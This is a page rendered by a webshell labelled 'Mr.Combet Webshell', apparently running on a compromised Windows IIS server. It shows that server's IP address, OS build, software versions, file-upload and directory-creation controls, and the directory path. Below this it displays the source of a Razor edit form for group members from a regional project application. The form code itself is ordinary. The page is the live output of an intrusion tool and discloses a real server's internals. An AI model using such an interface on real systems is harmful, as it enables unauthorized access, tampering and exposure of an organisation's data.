Mr.Combet Webshell
Your IP :
216.73.216.136
Server IP :
103.233.58.157
Server :
Windows NT WIN-4PGF72KEHKB 10.0 build 17763 (Windows Server 2016) AMD64
Server Software :
Microsoft-IIS/10.0
PHP Version :
7.3.25
Add File :
Submit
Add Directory :
Submit
Dir :
C:
/
inetpub
/
wwwroot
/
map
/
Views
/
GroupMembers
/
View File Name :
Edit.cshtml
@using RER_Project.BusinessLayer.BusinessService @using RER_Project.Core.Helpers @model RER_Project.DataAccess.ViewModels.GroupMembers.GroupMembersViewModel @{ ViewBag.Title = "GroupMember: ' " + Model.Member.FirstName + Model.Member.LastName + "' Edit"; var meta = AppUserService.GetCurrent(); var currentWorkFlow = WorkFlowService.CurrentGroupWorkFlow(meta.RoleId, Model.GroupId); } <style> .btn { border-radius: 0px; } </style> <div class="row wrapper border-bottom white-bg page-heading"> <div class="col-md-8"> <ol class="breadcrumb"> <li class="active"> <strong>Group Member of @Model.Groups.GroupName @Model.Member.Gender </strong> </li> </ol> </div> </div> <div class="wrapper wrapper-content animated fadeInRight"> <div class="row"> <div class="col-lg-12"> <div class="ibox float-e-margins"> <div class="ibox-content"> <form id="EditForm" disabled> <div id="eror_msg"></div> <div class="row"> <input type="hidden" id="Id" name="Id" value="@Model.Member.Id" /> <input type="hidden" id="GroupMId" name="GroupMId" value="@Model.Member.GroupMId" /> <input type="hidden" id="MId" name="MId" value="@Model.Member.MId" /> <input type="hidden" id="GroupId" name="GroupId" value="@Model.GroupId" /> <div class="form-group col-md-6"> <label>Province</label> <select type="text" class="form-control required" name="ProvinceId" id="ProvinceId" data-api="/province/select/threeStates" data-api-selected-value="@Model.Member.ProvinceId" disabled></select> <input type="hidden" id="ProvinceId" name="ProvinceId" value="@Model.Member.ProvinceId" /> </div> <div class="form-group col-md-6"> <label>District</label> <select type="text" class="form-control required" name="DistrictId" id="DistrictId" data-api="/districts/select" data-api-selected-value="@Model.Member.DistrictId" disabled></select> <input type="hidden" id="DistrictId" name="DistrictId" value="@Model.Member.DistrictId" /> </div> </div> <div class="row"> <div class="form-group col-md-6"> <label>Municipality</label> <select type="text" class="form-control required" id="MunicipalityId" name="MunicipalityId" data-api="/municipality/select" data-api-selected-value="@Model.Member.MunicipalityId" disabled></select> <input type="hidden" id="MunicipalityId" name="MunicipalityId" value="@Model.Member.MunicipalityId" /> </div> <div class="form-group col-md-6"> <label>Ward No</label> <input type="text" class="required form-control digits" id="WardNo" name="WardNo" value="@Model.Member.WardNo" /> </div> </div> <div class="row"> <div class="form-group col-md-6"> <label>First Name</label> <input type="text" class="required form-control" id="FirstName" name="FirstName" value="@Model.Member.FirstName" onkeypress="return (event.charCode > 64 && event.charCode < 91) || (event.charCode > 96 && event.charCode < 123)" minlength="2"/> </div> <div class="form-group col-md-6"> <label>Last Name</label> <input type="text" class="required form-control" id="LastName" name="LastName" value="@Model.Member.LastName" onkeypress="return (event.charCode > 64 && event.charCode < 91) || (event.charCode > 96 && event.charCode < 123)" minlength="2"/> </div> </div> <div class="row"> <div class="form-group col-md-6"> <label>Gender</label> <select type="text" class="form-control required" name="Gender" onchange="showGALS(this)" id="Gender" data-api="/genders/select" data-api-selected-value="@Model.Member.Gender"></select> </div> <div class="form-group col-md-6"> <label>Age</label> <input type="number" class="required form-control" id="Age" name="Age" value="@Model.Member.Age" /> </div> </div> <div class="row"> <div class="form-group col-md-6"> <label>Origin</label> <select type="text" class="form-control required" name="Origin" id="Origin" data-api="/origin/select" data-api-selected-value="@Model.Member.Origin"></select> </div> <div class="form-group col-md-6"> <label>Religion</label> <select type="text" class="form-control required" name="ReligionId" id="ReligionId" data-api="/religion/select" data-api-selected-value="@Model.Member.ReligionId"></select> </div> </div> <div class="row"> <div class="form-group col-md-6"> <label>Ethnicity</label> <select type="text" class="form-control required" name="EthnicityId" id="EthnicityId" data-api="/ethnicity/select" data-api-selected-value="@Model.Member.EthnicityId"></select> </div> <div class="form-group col-md-6"> <label>Migration Status</label> <select type="text" class="form-control required" name="MigrationId" id="MigrationId" data-api="/migration-status/select" data-api-selected-value="@Model.Member.MigrationId"></select> </div> </div> <div class="row"> <div class="form-group col-md-6"> <label>Positions</label> <select type="text" class="form-control required" name="PositionId" id="PositionId" data-api="/positions/select" data-api-selected-value="@Model.Member.PositionId"></select> </div> <div class="form-group col-md-6"> <label>Contact No</label> <input type="number" pattern="\d*" oninput="validity.valid||(value='');" step="1" maxlength="10" class="required form-control" id="ContactNo" name="ContactNo" value="@Model.Member.ContactNo" /> </div> </div> <div class="row"> @*<div class="form-group col-md-6"> <label>Group No</label> <input type="text" class="required form-control" id="GroupNo" name="GroupNo" value="@Model.Groups.GroupNo" disabled /> <input type="hidden" id="GroupNo" name="GroupNo" value="@Model.Groups.GroupNo" /> </div>*@ <div class="form-group col-md-6"> <label>Commodity</label> <select type="text" class="form-control required" name="Commodity" id="Commodity" data-api="/commodity/select" data-api-selected-value="@Model.Groups.CommodityId" disabled></select> <input type="hidden" id="Commodity" name="Commodity" value="@Model.Groups.CommodityId" /> </div> </div> <div class="row"> @*<div class="form-group col-md-6"> <label>Married Year</label> <input type="text" class="required form-control digits" id="MarriedYear" name="MarriedYear" value="@Model.Member.MarriedYear" /> </div> <div class="form-group col-md-6"> <label>Landlord Name</label> <input type="text" class="required form-control" id="LandlordName" name="LandlordName" value="@Model.Member.LandlordName" /> </div>*@ </div> <div class="row"> </div> <div class="row"> <div class="pull-right"> @if (meta.RoleId == (int)EnumRoleHelper.Roles.Admin || meta.RoleId == (int)EnumRoleHelper.Roles.MnE || meta.RoleId == (int)EnumRoleHelper.Roles.MnEOfficer || meta.RoleId == (int)EnumRoleHelper.Roles.SupplyChainSupervisor) { <input type="button" value="Save" class="btn btn-primary" id="SubmitButton" /><span> </span> } <a href="@("/group-members?groupId="+Model.GroupId)" class="btn btn-default">Back </a> </div> </div> </form> </div> </div> </div> </div> </div> <script> $(document).ready(function () { window.initializeSelectApis(); //window.initializeCascadeLocation(); }); function showGALS(data) { if (data.value == "Male") { $('.gals-div').hide(); document.getElementById("isGALS").checked = false; } else { $('.gals-div').show(); } } $("#SubmitButton").off("click").on("click", function () { function request(model) { const url = "/group-members/edit"; const data = JSON.stringify(model); return window.getAjaxRequest(url, "POST", data); } const form = $("#EditForm"); const groupId = $("#GroupId").val(); $.validator.unobtrusive.parse(form); if (!form.valid()) { return false; } if (!window.confirmAction()) { return false; } WorkForce.loader.show(); function getModel() { return ({ GroupId: groupId, Member: window.serializeForm(form) }); } //const model = window.serializeForm(form); const model = getModel(); if (model.Member.isGALS == "on") { model.Member.isGALS = true } const ajax = request(model); ajax.done(function (response) { WorkForce.loader.hide(); showNotification("success"); window.location = "/group-members?groupId=" + groupId; }); ajax.fail(function (xhr) { WorkForce.loader.hide(); ShowMessage("error", xhr.responseText); }); }) </script>